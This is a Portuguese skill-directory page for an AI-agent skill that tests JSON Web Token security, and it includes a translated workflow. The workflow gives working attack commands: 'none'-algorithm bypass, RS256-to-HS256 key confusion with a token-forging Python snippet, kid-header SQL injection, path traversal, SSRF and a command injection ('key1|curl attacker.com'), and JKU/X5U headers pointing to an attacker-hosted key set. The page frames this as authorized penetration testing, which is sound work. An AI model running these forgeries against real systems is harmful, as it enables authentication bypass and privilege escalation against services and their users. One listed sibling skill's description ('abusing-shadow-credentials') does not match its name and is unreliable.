testing-for-json-web-token-vulnerabilities
Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em tokens de autenticação chamados JWT. Ela verifica se é possível enganar o sistema para que ele aceite tokens inválidos ou com privilégios maiores.
Quando usar
- ✓Ao testar a segurança de sites e aplicativos que usam JWT para login.
- ✓Ao avaliar sistemas de login único (SSO) ou fluxos de autenticação como OAuth2.
- ✓Durante testes de invasão para encontrar vulnerabilidades em como os tokens são gerenciados.
Exemplo do que pedir para a IA
“Verifique se há vulnerabilidades no token JWT fornecido.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta diferentes tipos de ataques, como usar algoritmos inseguros ou injetar informações maliciosas nos cabeçalhos do token. Ela usa outras ferramentas como `jwt_tool` e `Burp Suite` para automatizar essas verificações.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-json-web-token-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Vulnerabilidades de JSON Web Token (JWT)
Quando Usar
- Ao testar aplicações que usam JWT para autenticação e gerenciamento de sessão
- Durante avaliações de segurança de API onde JWTs são usados para autorização
- Ao avaliar implementações de OAuth 2.0 ou OpenID Connect que usam JWT
- Durante testes de penetração de sistemas de Single Sign-On (SSO)
- Ao auditar configurações de bibliotecas JWT para vulnerabilidades conhecidas
Pré-requisitos
jwt_tool(toolkit de exploração de JWT em Python)- Burp Suite com a extensão JWT Editor
jwt.iopara decodificar e inspecionar a estrutura do JWT- Compreensão da estrutura do JWT (header.payload.signature) e algoritmos (HS256, RS256)
hashcatoujohnpara brute-force de segredos fracos de JWT- Biblioteca PyJWT do Python para scripts customizados de forjamento de JWT
- Acesso à aplicação que usa autenticação baseada em JWT
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1 — Decodificar e Analisar a Estrutura do JWT
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>
# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)
# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers
Passo 2 — Testar Bypass do Algoritmo "None"
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a
# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)
# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
Passo 3 — Testar Confusão de Algoritmo (RS256 para HS256)
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret
# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json
# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
Passo 4 — Testar Injeção do Parâmetro Key ID (kid)
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
Passo 5 — Testar Injeção de Cabeçalho JKU/X5U
# Injeção JKU (JSON Web Key Set URL)
# Apontar jku para JWKS controlado pelo atacante
# Passo 1: Gerar par de chaves
python3 jwt_tool.py <JWT_TOKEN> -X s
# Passo 2: Hospedar JWKS em servidor do atacante
# jwt_tool gera jwks.json - hospede-o em http://atacante.com/.well-known/jwks.json
# Passo 3: Modificar cabeçalho JWT para apontar para JWKS do atacante
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://atacante.com/.well-known/jwks.json"
# Injeção X5U (X.509 certificate URL)
# Similar ao JKU, mas usando cadeia de certificados X.509
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://atacante.com/cert.pem"
…
Perguntas frequentes
O que é um JWT?
JWT significa JSON Web Token. É um padrão para criar tokens de acesso que transmitem informações de forma segura entre partes. Pense nele como um crachá digital que prova quem você é.
Quais são os principais tipos de ataque que esta ferramenta realiza?
Ela testa o bypass do algoritmo 'none', confusão de algoritmos (usar uma chave pública como secreta), injeção em parâmetros como 'kid' e 'jku', e exploração de segredos fracos.
Preciso saber programar para usar isso?
Embora entender os conceitos ajude, a ferramenta é projetada para ser usada por testadores de segurança. O uso principal é executar comandos e analisar os resultados, não escrever código complexo.
Detalhes
Descrição original do autor
Tests JWT implementations for algorithm confusion, "none" algorithm bypass, kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or SSO systems during a security engagement.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6223
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC